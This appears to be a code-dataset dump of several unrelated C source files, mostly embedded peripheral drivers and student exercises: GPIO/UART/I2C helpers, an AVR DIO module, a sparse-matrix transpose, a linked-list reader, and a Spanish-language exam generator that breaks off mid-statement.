language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
#include "gpio_helper.h" #include <stdlib.h> #include <string.h> static SPI* SetupSPIx (BOOL isMaster, uint8_t presc, SPI_BRDIV div, BOOL isPhaseStart, BOOL isPolarityLow, BOOL isLSB, GPIO_PORT* port, GPIO_PIN_N clkPin, GPIO_PIN_N mosiPin, GPIO_PIN_N misoPin, SPI_N spiN, int af) { GPIO_EnableClock(port, TRUE); GPIO_PIN CLK_pin = GPIO_GetPin (port, clkPin); GPIO_PIN MOSI_pin = GPIO_GetPin (port, mosiPin); GPIO_PIN MISO_pin = GPIO_GetPin (port, misoPin); GPIO_SetAF(&CLK_pin, af); GPIO_SetAF(&MISO_pin, af); GPIO_SetAF(&MOSI_pin, af); SPI* spi = SPI_GetInstance(spiN); SPI_Initialize(spi, isMaster, presc, div, isPhaseStart, isPolarityLow, isLSB); return spi; } SPI* GPIO_Helper_SetupSPI(SPI_Pins spi_no, BOOL isMaster, uint8_t presc, SPI_BRDIV div, BOOL isPhaseStart, BOOL isPolarityLow, BOOL isLSB) { switch (spi_no) { case SPI0_PD_1_2_3: return SetupSPIx(isMaster, presc, div, isPhaseStart, isPolarityLow, isLSB, GPIO_GetInstance(PORTD), GPIO_PIN1, GPIO_PIN2, GPIO_PIN3, SPI0, 2); case SPI0_PC_5_6_7: return SetupSPIx(isMaster, presc, div, isPhaseStart, isPolarityLow, isLSB, GPIO_GetInstance(PORTC), GPIO_PIN5, GPIO_PIN6, GPIO_PIN7, SPI0, 2); case SPI1_PD_5_6_7: return SetupSPIx(isMaster, presc, div, isPhaseStart, isPolarityLow, isLSB, GPIO_GetInstance(PORTD), GPIO_PIN5, GPIO_PIN6, GPIO_PIN7, SPI1, 2); case SPI0_PE_17_18_19: return SetupSPIx(isMaster, presc, div, isPhaseStart, isPolarityLow, isLSB, GPIO_GetInstance(PORTE), GPIO_PIN17, GPIO_PIN18, GPIO_PIN19, SPI0, 2); }; while(1); return NULL; } static UART* GPIO_Helper_SetupUARTx(uint32_t baudRate, BOOL enableRx, BOOL enableTx, GPIO_PORT_N portN, GPIO_PIN_N rxPin, GPIO_PIN_N txPin, UART_N uartN, int af) { GPIO_PORT* port = GPIO_GetInstance(portN); GPIO_EnableClock(port, TRUE); if (enableRx) { GPIO_PIN RX_pin = GPIO_GetPin (port, rxPin); GPIO_SetAF(&RX_pin, af); } if (enableTx) { GPIO_PIN TX_pin = GPIO_GetPin (port, txPin); GPIO_SetAF(&TX_pin, af); } UART* uart = UART_GetInstance(uartN); UART_Initialize(uart, baudRate, enableRx, enableTx); return uart; } UART* GPIO_Helper_SetupUART(UART_Pins pins, uint32_t baudRate, BOOL enableRx, BOOL enableTx) { switch (pins) { case UART1_PE_1_0: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTE, GPIO_PIN1, GPIO_PIN0, UART1, 3); case UART2_PE_17_16: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTE, GPIO_PIN17, GPIO_PIN16, UART2, 3); case UART0_PE_21_20: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTE, GPIO_PIN21, GPIO_PIN20, UART0, 4); case UART2_PE_23_22: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTE, GPIO_PIN23, GPIO_PIN22, UART2, 4); case UART0_PA_1_2: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTA, GPIO_PIN1, GPIO_PIN2, UART0, 2); case UART0_PB_16_17: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTB, GPIO_PIN16, GPIO_PIN17, UART0, 3); case UART1_PC_3_4: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTC, GPIO_PIN3, GPIO_PIN4, UART1, 3); case UART2_PD_2_3: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTD, GPIO_PIN2, GPIO_PIN3, UART2, 3); case UART2_PD_4_5: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTD, GPIO_PIN4, GPIO_PIN5, UART2, 3); case UART0_PD_6_7: return GPIO_Helper_SetupUARTx(baudRate, enableRx, enableTx, PORTD, GPIO_PIN6, GPIO_PIN7, UART0, 3); default: while(1); }; return NULL; } static I2C* GPIO_Helper_SetupI2Cx(BOOL master, uint8_t slaveAddr, uint32_t baudRate, GPIO_PORT_N portN, GPIO_PIN_N sclPin, GPIO_PIN_N sdaPin, I2C_N i2cN, int af) { GPIO_PORT* port = GPIO_GetInstance(portN); GPIO_EnableClock(port, TRUE); GPIO_PIN SCL_pin = GPIO_GetPin (port, sclPin); GPIO_PullUp(&SCL_pin); GPIO_SetAF(&SCL_pin, af); GPIO_PIN SDA_pin = GPIO_GetPin (port, sdaPin); GPIO_PullUp(&SDA_pin); GPIO_SetAF(&SDA_pin, af); I2C* i2c = I2C_GetInstance(i2cN); if (master) { I2C_MasterInit(i2c, baudRate); } else { I2C_SlaveInit(i2c, slaveAddr); } return i2c; } I2C* GPIO_Helper_SetupI2C_Master(I2C_Pins pins, uint32_t baudRate) { switch (pins) { case I2C1_PE_1_0: return GPIO_Helper_SetupI2Cx(TRUE, 0, baudRate, PORTE, GPIO_PIN1, GPIO_PIN0, I2C1, 6); case I2C0_PE_19_18: return GPIO_Helper_SetupI2Cx(TRUE, 0, baudRate, PORTE, GPIO_PIN19, GPIO_PIN18, I2C0, 4); case I2C0_PE_24_25: return GPIO_Helper_SetupI2Cx(TRUE, 0, baudRate, PORTE, GPIO_PIN24, GPIO_PIN25, I2C0, 5); case I2C1_PA_3_4: return GPIO_Helper_SetupI2Cx(TRUE, 0, baudRate, PORTA, GPIO_PIN3, GPIO_PIN4, I2C1, 2); case I2C0_PB_0_1: return GPIO_Helper_SetupI2Cx(TRUE, 0, baudRate, PORTB, GPIO_PIN0, GPIO_PIN1, I2C0, 2); case I2C0_PB_2_3: return GPIO_Helper_SetupI2Cx(TRUE, 0, baudRate, PORTB, GPIO_PIN2, GPIO_PIN3, I2C0, 2); case I2C1_PC_1_2: return GPIO_Helper_SetupI2Cx(TRUE, 0, baudRate, PORTC, GPIO_PIN1, GPIO_PIN2, I2C1, 2); default: while(1); }; return NULL; } I2C* GPIO_Helper_SetupI2C_Slave(I2C_Pins pins, uint8_t slaveAddr) { switch (pins) { case I2C1_PE_1_0: return GPIO_Helper_SetupI2Cx(FALSE, slaveAddr, 0, PORTE, GPIO_PIN1, GPIO_PIN0, I2C1, 6); case I2C0_PE_19_18: return GPIO_Helper_SetupI2Cx(FALSE, slaveAddr, 0, PORTE, GPIO_PIN19, GPIO_PIN18, I2C0, 4); case I2C0_PE_24_25: return GPIO_Helper_SetupI2Cx(FALSE, slaveAddr, 0, PORTE, GPIO_PIN24, GPIO_PIN25, I2C0, 5); case I2C1_PA_3_4: return GPIO_Helper_SetupI2Cx(FALSE, slaveAddr, 0, PORTA, GPIO_PIN3, GPIO_PIN4, I2C1, 2); case I2C0_PB_0_1: return GPIO_Helper_SetupI2Cx(FALSE, slaveAddr, 0, PORTB, GPIO_PIN0, GPIO_PIN1, I2C0, 2); case I2C0_PB_2_3: return GPIO_Helper_SetupI2Cx(FALSE, slaveAddr, 0, PORTB, GPIO_PIN2, GPIO_PIN3, I2C0, 2); case I2C1_PC_1_2: return GPIO_Helper_SetupI2Cx(FALSE, slaveAddr, 0, PORTC, GPIO_PIN1, GPIO_PIN2, I2C1, 2); default: while(1); }; return NULL; } GPIO_PIN GPIO_Helper_GetPin (const char* pin) //A1,B1,C15 etc { if (!pin || strlen(pin) < 2) { while(1) ; } GPIO_PORT* port; switch (pin[0]) { case 'a': case 'A': port = GPIO_GetInstance(PORTA); break; case 'b': case 'B': port = GPIO_GetInstance(PORTB); break; case 'c': case 'C': port = GPIO_GetInstance(PORTC); break; case 'd': case 'D': port = GPIO_GetInstance(PORTD); break; case 'e': case 'E': port = GPIO_GetInstance(PORTE); break; default: while(1) ; }; GPIO_EnableClock(port, TRUE); int pin_no = atoi(&pin[1]); return GPIO_GetPin(port, (GPIO_PIN_N)pin_no); } static TPM_Channel_t* _GPIO_Helper_SetupTPM(TPM_N tpmN, uint8_t chN, const char* cpin, uint8_t af) { GPIO_PIN pin = GPIO_Helper_GetPin(cpin); GPIO_SetAF(&pin, af); GPIO_PullDown(&pin); TPM* tpm = TPM_GetInstance(tpmN); TPM_EnableClock(tpm, TRUE); return TPM_GetChannel(tpm, chN); } // TPM0: 0-5, TP1/TPM2: 0,1 TPM_Channel_t* GPIO_Helper_SetupTPM_Channel_t(TPM_Pins pin) { switch (pin) { case TPM1_CH0_E20: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 0, "E20", 3); case TPM1_CH1_E21: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 1, "E21", 3); case TPM2_CH0_E22: return _GPIO_Helper_SetupTPM(TPM2_INSTANCE, 0, "E22", 3); case TPM2_CH1_E23: return _GPIO_Helper_SetupTPM(TPM2_INSTANCE, 1, "E23", 3); case TPM0_CH2_E29: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 2, "E29", 3); case TPM0_CH3_E30: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 3, "E30", 3); case TPM0_CH4_E31: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 4, "E31", 3); case TPM0_CH0_E24: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 0, "E24", 3); case TPM0_CH1_E25: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 1, "E25", 3); case TPM0_CH5_A0: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 5, "A0", 3); case TPM2_CH0_A1: return _GPIO_Helper_SetupTPM(TPM2_INSTANCE, 0, "A1", 3); case TPM2_CH1_A2: return _GPIO_Helper_SetupTPM(TPM2_INSTANCE, 1, "A2", 3); case TPM0_CH0_A3: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 0, "A3", 3); case TPM0_CH1_A4: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 1, "A4", 3); case TPM0_CH2_A5: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 2, "A5", 3); case TPM1_CH0_A12: return _GPIO_Helper_SetupTPM(TPM1_INSTANCE, 0, "A12", 3); case TPM1_CH1_A13: return _GPIO_Helper_SetupTPM(TPM1_INSTANCE, 1, "A13", 3); case TPM1_CH0_B0: return _GPIO_Helper_SetupTPM(TPM1_INSTANCE, 0, "B0", 3); case TPM1_CH1_B1: return _GPIO_Helper_SetupTPM(TPM1_INSTANCE, 1, "B1", 3); case TPM2_CH0_B2: return _GPIO_Helper_SetupTPM(TPM2_INSTANCE, 0, "B2", 3); case TPM2_CH1_B3: return _GPIO_Helper_SetupTPM(TPM2_INSTANCE, 1, "B3", 3); case TPM2_CH0_B18: return _GPIO_Helper_SetupTPM(TPM2_INSTANCE, 0, "B18", 3); case TPM2_CH1_B19: return _GPIO_Helper_SetupTPM(TPM2_INSTANCE, 1, "B19", 3); case TPM0_CH0_C1: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 0, "C1", 4); case TPM0_CH1_C2: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 1, "C2", 4); case TPM0_CH2_C3: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 2, "C3", 4); case TPM0_CH3_C4: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 3, "C4", 4); case TPM0_CH0_D0: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 0, "D0", 4); case TPM0_CH1_D1: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 1, "D1", 4); case TPM0_CH2_D2: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 2, "D2", 4); case TPM0_CH3_D3: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 3, "D3", 4); case TPM0_CH4_D4: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 4, "D4", 4); case TPM0_CH5_D5: return _GPIO_Helper_SetupTPM(TPM0_INSTANCE, 5, "D5", 4); default: while(1) ; }; } ADC_Channel GPIO_Helper_SetupADC(ADC_N nADC, ADC_CH_N nCh) { ADC* adc = ADC_GetInstance(nADC); ADC_EnableClock(adc, TRUE); GPIO_PIN pin; BOOL setPin = TRUE; switch (nCh) { case ADC_CH_SE0: { pin = GPIO_Helper_GetPin("E20"); break; } case ADC_CH_SE1: { pin = GPIO_Helper_GetPin("E16"); break; } case ADC_CH_SE2: { pin = GPIO_Helper_GetPin("E18"); break; } case ADC_CH_SE3: { pin = GPIO_Helper_GetPin("E22"); break; } case ADC_CH_SE4A: { pin = GPIO_Helper_GetPin("E21"); break; } case ADC_CH_SE5A: { pin = GPIO_Helper_GetPin("E17"); break; } case ADC_CH_SE6A: { pin = GPIO_Helper_GetPin("E19"); break; } case ADC_CH_SE7A: { pin = GPIO_Helper_GetPin("E23"); break; } case ADC_CH_SE8: { pin = GPIO_Helper_GetPin("B0"); break; } case ADC_CH_SE9: { pin = GPIO_Helper_GetPin("B1"); break; } case ADC_CH_SE11: { pin = GPIO_Helper_GetPin("C2"); break; } case ADC_CH_SE12: { pin = GPIO_Helper_GetPin("B2"); break; } case ADC_CH_SE13: { pin = GPIO_Helper_GetPin("B3"); break; } case ADC_CH_SE14: { pin = GPIO_Helper_GetPin("C0"); break; } case ADC_CH_SE15: { pin = GPIO_Helper_GetPin("C1"); break; } case ADC_CH_SE23: { pin = GPIO_Helper_GetPin("E30"); break; } case ADC_CH_SE4B: { pin = GPIO_Helper_GetPin("E29"); break; } case ADC_CH_SE5B: { pin = GPIO_Helper_GetPin("D1"); break; } case ADC_CH_SE6B: { pin = GPIO_Helper_GetPin("D5"); break; } case ADC_CH_SE7B: { pin = GPIO_Helper_GetPin("D6"); break; } case ADC_CH_TEMP: case ADC_CH_VREFSH: case ADC_CH_VREFSL: case ADC_CH_BANDGAP: { setPin = FALSE; break; } default: while(1); }; if (setPin) { GPIO_SetupAnalog(&pin); } return ADC_GetChannel(adc, nCh); }
C
#include<stdio.h> #include<stdlib.h> int main() { int a; int b; printf("пJ:"); scanf_s("%d",&a); printf("пJe:"); scanf_s("%d",&b); char sign = '+'; char sign2 = ' '; int i, j; for ( i = 0; i < a; i++) { for ( j = 0; j < b; j++) { if ((i==0) || (i==a-1) || (j==0) || (j==b-1)) { printf("%c",sign); } else { printf("%c",sign2); } } printf("\n"); } system("pause"); }
C
#include "LifeGame.h" #include "GifAnimation.h" typedef struct{ char name[128]; int x1,y1,x2,y2; char file[128]; }rule_t; RuleImg_t img; rule_t ruleObject[50] = {{"",0,0,0,0}}; int ruleClickArea; int activeNums; void GifAnimation(void); int TouchArea(int x1,int y1,int x2,int y2,int x,int y) { if(x >= x1 && x <= x2 && y >= y1 && y <= y2) return 1; return 0; } void RuleWrite(void){ FILE *fp; if((fp = fopen("rulebook.txt","r")) == NULL){ CommandLinePicture("rulebook.txt not found."); return; } char rule[128]; BackGround(); EzSetColorByRGB(White,White,White); EzFillBoxB(0,0,CellWidth,CellHeight); EzSetFontSize(30); int i = 40,j = 10; int k = 0; while(fgets(ruleObject[k].name,128,fp) != NULL){ ruleObject[k].name[strlen(ruleObject[k].name)-1] = '\0'; EzSetColorByRGB(116,169,214); EzDrawBoxB(j-5,i-30,j+400,i+5); EzSetColorByRGB(Black,Black,Black); EzDrawStringB(j,i,ruleObject[k].name); ruleObject[k].x1 = j-5; ruleObject[k].y1 = i-30; ruleObject[k].x2 = j+400; ruleObject[k].y2 = i+5; fgets(ruleObject[k].file,128,fp); ruleObject[k].file[strlen(ruleObject[k].file)-1] = '\0'; i += 40; if(i > CellHeight){ j += 410; i = 40; } k++; } EzSetColorByRGB(140,140,140); sprintf(rule,"End"); EzFillBoxB(CellWidth-100,CellHeight-50,CellWidth-10,CellHeight-10); EzSetColorByRGB(Black,Black,Black); EzSetFontSize(25); EzDrawStringB(CellWidth-75,CellHeight-20,rule); EzShowBuffer(); } int SelectRuleArea(int x,int y) { int i = 0; while(strcmp(ruleObject[i].name,"") && i < 50){ if(TouchArea(ruleObject[i].x1,ruleObject[i].y1,ruleObject[i].x2,ruleObject[i].y2,x,y)) return i; i++; } return -1; } void RuleMouseHandler(int x,int y,unsigned int n) { EzSetFontSize(30); if(TouchArea(CellWidth-100,CellHeight-50,CellWidth-10,CellHeight-10,x,y)){ EzExitEventLoop(); return; } ruleClickArea = SelectRuleArea(x,y); int l = ruleClickArea; if(l<0) return; EzSetColorByRGB(116,169,214); EzFillBox(ruleObject[l].x1,ruleObject[l].y1,ruleObject[l].x2,ruleObject[l].y2); EzSetColorByRGB(Black,Black,Black); EzDrawString(ruleObject[l].x1+5,ruleObject[l].y1+30,ruleObject[l].name); } void RulePageSelect(void) { switch(ruleClickArea){ case 0: GifRun(&img); return; case 2: GifOneTime(&img); return; case 4: GifOpen(&img); return; case 5: GifSave(&img); return; case 6: GifTrimming(&img); return; case 7: GifCopyPaste(&img); return; case 9: GifZoomUP(&img); default: img.imgNums = 0; return; } } void RulePageReturn(int x,int y,unsigned int n); void RuleMouseReleaseHandler(int x,int y,unsigned int n){ int l = ruleClickArea; EzSetColorByRGB(White,White,White); EzFillBox(ruleObject[l].x1,ruleObject[l].y1,ruleObject[l].x2,ruleObject[l].y2); EzSetColorByRGB(116,169,214); EzDrawBox(ruleObject[l].x1,ruleObject[l].y1,ruleObject[l].x2,ruleObject[l].y2); EzSetColorByRGB(Black,Black,Black); EzDrawString(ruleObject[l].x1+5,ruleObject[l].y1+30,ruleObject[l].name); if(SelectRuleArea(x,y) != ruleClickArea){ return; } RulePageSelect(); if(!img.imgNums) return; EzExitEventLoop(); EzSetMouseHandler(NULL); EzSetMouseReleaseHandler(NULL); activeNums = 0; EzSetTimerHandler(GifAnimation,50); EzSetMouseHandler(RulePageReturn); EzEventLoop(); EzSetTimerHandler(NULL,0); } void RulePageReturn(int x,int y,unsigned int n){ if(!TouchArea(CellWidth-100,CellHeight-50,CellWidth-10,CellHeight-10,x,y)) return; EzExitEventLoop(); EzSetTimerHandler(NULL,0); EzSetMouseMotionHandler(NULL); RuleWrite(); EzSetMouseHandler(RuleMouseHandler); EzSetMouseReleaseHandler(RuleMouseReleaseHandler); EzEventLoop(); } void GifAnimation(void)/*EzSetTimerHandler(GifAnimation,1000)*/ { char rule[32]; if(img.imgNums == 0) return; /*img.imgNums -> Numbers of img.ruleImg[] */ if(activeNums >= img.imgNums) activeNums = 0; BackGround(); EzSetColorByRGB(White,White,White); EzFillBoxB(0,0,CellWidth,CellHeight); EzPutB(100,100,img.ruleImg[activeNums]); EzSetColorByRGB(140,140,140); sprintf(rule,"Return"); EzFillBoxB(CellWidth-100,CellHeight-50,CellWidth-10,CellHeight-10); EzSetColorByRGB(Black,Black,Black); EzSetFontSize(20); EzDrawStringB(CellWidth-75,CellHeight-20,rule); EzShowBuffer(); activeNums++; }
C
//fast transpose #include<stdio.h> typedef struct spMat{ int row; int col; int val; } spMat; void readMat(spMat sparse[100], int row, int col){ int k = 1, temp; for(int i = 0; i < row; i++){ for(int j = 0; j < col; j++){ scanf("%d", &temp); if(temp){ sparse[k].val = temp; sparse[k].col = j; sparse[k++].row = i; } } } sparse[0].row = row; sparse[0].col = col; sparse[0].val = --k; } void transpose(spMat sparse[100], spMat traSparse[100]){ int rowInd[100], startPos[100], i, j, k, sum = 0; for(i = 0; i < sparse[0].val; i++){ rowInd[i] = 0; } for(i = 0; i < sparse[0].val; i++){ rowInd[sparse[i+1].col]++; } for(i = 0; i < sparse[0].val; i++){ startPos[i] = sum; sum += rowInd[i]; } traSparse[0].row = sparse[0].col; traSparse[0].col = sparse[0].row; traSparse[0].val = sparse[0].val; for(i = 1; i <= sparse[0].val; i++){ k = startPos[sparse[i].col] + 1; traSparse[k].row = sparse[i].col; traSparse[k].col = sparse[i].row; traSparse[k++].val = sparse[i].val; startPos[sparse[i].col]++; } } void disMat(spMat traSparse[100]){ int k = 1; printf("\n"); for(int i = 0; i < traSparse[0].row; i++){ for(int j = 0; j < traSparse[0].col; j++){ if(i == traSparse[k].row && j == traSparse[k].col) printf("%d ", traSparse[k++].val); else printf("0 "); } printf("\n"); } } int main(){ spMat sparse[100], traSparse[100]; int row, col; printf("Enter no. of rows and columns of the matrix whose transpose you want"); scanf("%d%d", &row, &col); printf("Enter number in the matrix"); readMat(sparse, row, col); transpose(sparse, traSparse); disMat(traSparse); return 0; }
C
#include "sll.h" #include <stdio.h> #include <stdlib.h> #include <string.h> /* John Abreu 2/2/2018 */ int main() { int i = 0, x = 0; char c = getchar(); char *w = (char *)malloc(sizeof(char)); NodePtr node = (NodePtr)malloc(sizeof(Node)); node->w = NULL; node->next = NULL; while (c != '\n') { if (i%80 == 0 && i>0){ addNode(node, w); free(w); w = (char *)malloc(sizeof(char)); x = 0; *(w+x) = c; c = getchar(); } else { w = (char *)realloc(w, x+1); *(w+x) = c; c = getchar(); } i++; x++; } if(strlen(w) > 0) { w = (char *)realloc(w, x); addNode(node, w); } free(w); printList(node); }
C
/* * Author: Eslam */ #include "Std_Types.h" #include "BIT_MATH.h" #include "DIO_interface.h" #include <avr/io.h> void DIO_SetPortValue(uint8 ucPort, uint8 ucValue) { switch(ucPort) { case 'A': PORTA = ucValue; break; case 'B': PORTB = ucValue; break; case 'C': PORTC = ucValue; break; case 'D': PORTD = ucValue; break; } } void DIO_SetPortDirection(uint8 ucPort, uint8 ucDirection){ switch(ucPort) { case 'A': DDRA = ucDirection; break; case 'B': DDRB = ucDirection; break; case 'C': DDRC = ucDirection; break; case DIO_PORTD: DDRD = ucDirection; break; } } uint8 DIO_ucGetPortValue(uint8 ucPort) { uint8 ucValue; switch(ucPort) { case 'A': ucValue = PINA; break; case 'B': ucValue = PINB; break; case 'C': ucValue = PINC; break; case DIO_PORTD: ucValue = PORTD; break; } return ucValue; } void DIO_SetPinValue(uint8 ucPort, uint8 ucPinNumber,uint8 ucValue) { switch(ucPort) { case 'A': if (ucValue == STD_HIGH) { SET_BIT(PORTA,ucPinNumber); } else { CLEAR_BIT(PORTA,ucPinNumber); } break; case 'B': if (ucValue == STD_HIGH) { SET_BIT(PORTB,ucPinNumber); } else { CLEAR_BIT(PORTB,ucPinNumber); } break; case 'C': if (ucValue == STD_HIGH) { SET_BIT(PORTC,ucPinNumber); } else { CLEAR_BIT(PORTC,ucPinNumber); } break; case DIO_PORTD: if (ucValue == STD_HIGH) { SET_BIT(PORTD,ucPinNumber); } else { CLEAR_BIT(PORTD,ucPinNumber); } break; } } void DIO_SetPinDirection(uint8 ucPort, uint8 ucPinNumber, uint8 ucDirection) { switch(ucPort) { case 'A': if(ucDirection == DIO_OUTPUT) { SET_BIT(DDRA,ucPinNumber); } else { CLEAR_BIT(DDRA,ucPinNumber); } break; case 'B': if(ucDirection == DIO_OUTPUT) { SET_BIT(DDRB,ucPinNumber); } else { CLEAR_BIT(DDRB,ucPinNumber); } break; case 'C': if(ucDirection == DIO_OUTPUT) { SET_BIT(DDRC,ucPinNumber); } else { CLEAR_BIT(DDRC,ucPinNumber); } break; case DIO_PORTD: if(ucDirection == DIO_OUTPUT) { SET_BIT(DDRD,ucPinNumber); } else { CLEAR_BIT(DDRD,ucPinNumber); } } } uint8 DIO_ucGetPinValue(uint8 ucPort, uint8 ucPinNumber) { uint8 ucValue; switch(ucPort) { case 'A': ucValue = GET_BIT(PINA,ucPinNumber); break; case 'B': ucValue = GET_BIT(PINB,ucPinNumber); break; case 'C': ucValue = GET_BIT(PINC, ucPinNumber); break; case DIO_PORTD: ucValue = GET_BIT(PIND,ucPinNumber); break; } return ucValue; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> void getVersion(char name[]){ int i,j=0,c=0,ja=0; char tempName[200]; int length = strlen(name); if(name[0]==95 || name[length-1]==95 || (name[0]<=90 && name[0]>=65)){ printf("Error!\n"); return; } for(i=0;name[i]!='\0'||i>length;i++){ if(name[i]==95)c++; if(name[i]<=90 && name[i]>=65)ja++; if((name[i]==95 && name[i+1]<=90 && name[i+1]>=65)||(name[i+1]==95 && name[i]<=90 && name[i]>=65)){ printf("Error!\n"); return; }else if(name[i]<=90 && name[i]>=65){ int t = name[i]+32; if(i!=0)tempName[j++]='_'; tempName[j++]=t; tempName[j]='\0'; }else if(name[i]=='_'){ if(name[i+1]>=97 && name[i+1]<=122){ int te = name[i+1]; if(i!=0)te-=32; tempName[j++]=te; tempName[j]='\0'; i++; }else{ printf("Error!\n"); return; } }else { tempName[j++]=name[i]; tempName[j]='\0'; } } if(c!=0 && ja!=0)printf("Error!\n"); else printf("%s\n",tempName); } int main(){ char name[200]; while(gets(name)){ getVersion(name); } return 0; }
C
/* * @File/archivo generadorExamenes.c * @Brief/resumen El objetivo del programa es formar 3 módulos que permitan la * creación, aplicación y valoración de un examen. * El máximo de preguntas admitidas en la base de datos será de * 50. * @Author/autor Bruno Valerio Fernández, Abdín Alejandro Alcazar Terán, Benjamín Menchaca Reyna * @Date/fecha 10-5-17 */ #include<stdio.h> #include<stdlib.h> #include<string.h> #include <sys/time.h> char CSORT(int num); void RVALUE(int numlin, int rv[]); void RVALANS(int numlin, int rv[]); void creadorExamenes(void); void aplicadorExamenes(void); void calificadorExamenes(void); int archivoLineas(char nombreArchivo[30]); int lineasAleatorias(int numeroAleatorio,int contador,char nombreExamen_1[30]); int lineasAleatorias2(char nombreExamen_1[30]); struct ainfo{ char l; char ans[35]; }; typedef struct bracket{ int qnum; char q[75]; struct ainfo cans; struct ainfo b; struct ainfo c; struct ainfo d; int pts; }quinfo; int main(void) { char opcion; do{ system("clear"); printf("\n\tBienvenido.\n"); printf("\tQue deseas, aplicar o hacer un examen?\n"); printf("\tPresiona una opcion para continuar.\n"); printf("\t\t1- Crear un examen\n"); printf("\t\t2- Aplicar un examen.\n"); printf("\t\ts- Salir del programa.\n"); printf("\t\tOpcion: "); scanf("%c", & opcion); getchar(); switch(opcion) { case '1': creadorExamenes(); break; case '2':aplicadorExamenes(); break; case 's':break; default: system("clear"); printf("Opcion no valida.\n"); } }while(opcion!='s' && opcion!='S'); } /* * @Brief/resumen La función permite generar un examen basado en las * características que le dé el usuario. * Es importante mencionar que cada pregunta e inciso llevará un * formato especial para su lectura en el siguiente * segmento. * @Author/autor Bruno Valerio Fernández, Abdín Alejandro Alcazar Terán, Benjamín Menchaca Reyna * @Return void */ void creadorExamenes(void){ FILE *fp_in; FILE *fp_out; int cont; int numeroPreguntas,numeroLineas; char filename[30]; char nuevoExamen[30]; char lineaArchivo[300]; printf("\n[Creador de Examenes]\n\n"); printf("\tNombre del archivo a subir: "); scanf("%s", filename); getchar(); strcat(filename,"\0"); if((fp_in=fopen(filename,"rt"))==NULL) { printf("El archivo '%s' no existe.\n\n",filename); exit(1); } numeroLineas=archivoLineas(filename); do{ system("clear"); printf("\n[Creador de Examenes]\n\n"); printf("\tEl archivo cuenta con %d preguntas.\n", numeroLineas); printf("\tNúmero de preguntas que desea colocar en el examen (menor o igual a %d): ", numeroLineas); scanf("%d",&numeroPreguntas); getchar(); if(numeroPreguntas>numeroLineas) { printf("\n\tEl numero ingresado no es valido. Presiona enter para ingresar un numero valido."); getchar(); } }while(numeroPreguntas>numeroLineas && numeroPreguntas>0); printf("\tIngresa el nombre del examen: "); scanf("%s", nuevoExamen); getchar(); strcat(nuevoExamen,"\0"); fp_out=fopen(nuevoExamen,"wt"); for(cont=0;cont<numeroPreguntas;cont++) { fgets(lineaArchivo,300,fp_in); fprintf(fp_out,"%d,",cont+1); fputs(lineaArchivo,fp_out); } system("clear"); printf("\nSe creó el archivo '%s' con '%d' preguntas\n\n",nuevoExamen,numeroPreguntas); fclose(fp_in); fclose(fp_out); } /* * @Brief/resumen La función permite hacer una recopilación de todas las * preguntas y las muestra en pantalla. * Al principio, se pedirán los datos completos del alumno, nombre * y número de cuenta. * Los datos del alumno al concluir el test se verán guardados en * un archivo, en él estarán guardadas las respuestas del alumno. * * @Author/autor Bruno Valerio Fernández, Abdín Alejandro Alcazar Terán, Benjamín Menchaca Reyna * * @Return void */ void aplicadorExamenes(void) { int rvalans[4]; int cont, cont2, score=0, totscore=0, key=0;; char r; FILE *fpin, *fp_out, *sbank; int idPregunta; char nombreExamen_1[30]; char numeroCuenta[10]; char lineaAlumnos[100], buff[150]; char cuentaAlumno[10],nombreAlumno[30]; //IDENTIFICADOR DEL EXAMEN|CUENTA|CALIFICACIÓN|TIEMPO|RESPUESTAS|CORRECTAS(#)|PREGUNTAS(#)|TIEMPO TOTAL| MÁXIMO DE PUNTOS QUE SE PUEDE TENER int valorNeto=0; int numeroLineas; double segundos = 0, milis=0; struct timeval final, inicio; srand(time(0)); printf("\n\t[Aplicador de Examenes]\n"); if((sbank=fopen("bancoAlumnos.csv","rt"))==NULL) { printf("\tEl banco de alumnos no se encontro.\n\tAgregar un banco de alumnos para continuar.\n\n"); exit(1); } printf("\n\tIMPORTANTE: si el alumno ya ha realizado el examen los resultados no seran validos.\n"); printf("\tIngrese su número de cuenta: "); scanf("%s",numeroCuenta); getchar(); while((fgets(lineaAlumnos,100,sbank))!=NULL) // while(fscanf(sbank,"%[^,],%[^,],\n",cuentaAlumno,nombreAlumno)>=0)//Forma alternativa de lectura de campos del archivo. Si recibe los campos pero no entra en la condicion 'if((strcmp...) { /**/ sscanf(lineaAlumnos,"%[^,],%[^,],",cuentaAlumno,nombreAlumno); if((strcmp(numeroCuenta,cuentaAlumno))==0) { for(cont=0;cont<30;cont++) if(nombreAlumno[cont]=='\n') nombreAlumno[cont]='\0'; printf("\tUsuario: %s\n",nombreAlumno); key=1; break; } } if(key==0) { printf("\tEl usuario ingresado no existe.\n"); exit(1); } printf("\tIngrese el nombre del examen: "); scanf("%s", 